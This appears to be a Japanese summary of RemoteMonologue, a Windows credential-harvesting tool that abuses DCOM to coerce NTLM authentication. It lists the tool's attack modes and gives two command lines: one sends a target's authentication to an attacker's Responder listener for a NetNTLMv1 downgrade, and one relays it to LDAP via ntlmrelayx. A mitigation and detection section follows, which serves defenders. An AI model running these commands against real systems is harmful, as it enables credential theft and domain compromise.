
NTLM認証強制のためのDCOMの武器化
RemoteMonologue は、Interactive User RunAs キーを悪用し、DCOM を介して NTLM 認証を強制することで、リモートでのユーザー侵害を可能にする Windows クレデンシャル収集テクニックです。
詳細については、X-Force Red の RemoteMonologue: Weaponizing DCOM for NTLM Authentication Coercions をお読みください。
🔹 DCOM を介した認証強制 (-dcom)
ServerDataCollectorSet, FileSystemImage, MSTSWebProxy, UpdateSession) を対象に、指定したリスナー (-auth-to) に対するNTLM認証をトリガーします。🔹 クレデンシャルスプレー攻撃 (-spray)
🔹 NetNTLMv1 ダウングレード攻撃 (-downgrade)
🔹 WebClient サービスの悪用 (-webclient)
🔹 ユーザー列挙 (-query)
注: 対象システムに対するローカル管理者権限が必要です。
pip install impacket
以下は、Responder をリスナーとして使用し、NetNTLMv1 ダウングレード攻撃を実行する RemoteMonologue の例です。デフォルトでは、DCOMオプションが指定されない場合、ツールは ServerDataCollectorSet DCOMオブジェクトを使用します。
RemoteMonologue.py domain/user:password@target -auth-to [listener IP] -downgrade

以下は別の例です。今回は、FileSystemImage DCOMオブジェクトを使用して攻撃を実行し、WebClient サービスを有効にして HTTP 認証を取得し、その認証を ntlmrelayx を使用して LDAP にリレーします。
RemoteMonologue.py domain/user:password@target -auth-to [listener NETBIOS@PORT] -webclient -dcom FileSystemImage

これらの手法から保護し検出するために、実装可能ないくつかの予防策および検出策があります。
予防策:
LDAP署名とチャネルバインディングを有効にする: ドメインコントローラーでLDAP署名の強制とチャネルバインディングを構成して、LDAPエンドポイントをリレー攻撃から保護します。注: これらの設定はWindows Server 2025以降、デフォルトで適用されます。
最新のWindowsバージョンにアップグレードする: サーバーをWindows Server 2025に、ワークステーションをWindows 11 バージョン24H2にアップグレードして、NetNTLMダウングレード攻撃を緩和します。これらのバージョンではNTLMv1が削除されているためです。
SMB署名を強制する: WindowsサーバーでSMB署名を有効にして強制し、SMBリレー攻撃を防ぎます。
強力なパスワードポリシーを実装する: 強力なパスワード要件を強制して、パスワードクラッキング攻撃をより困難にします。
検出の機会:
DCOMオブジェクトへのリモートアクセスを監視する: 影響を受けるDCOMオブジェクトとその特定のプロパティおよびメソッドへのアクセスを追跡し、異常な活動を特定します。
レジストリの変更を監視する: RunAs および LmCompatibilityLevel レジストリキーへの変更を監視します。
WebClientサービスの活動を追跡する: WebClientサービスがリモートで有効にされる事例を監視します。これはHTTPベースのNTLM認証を容易にするために使用されるためです。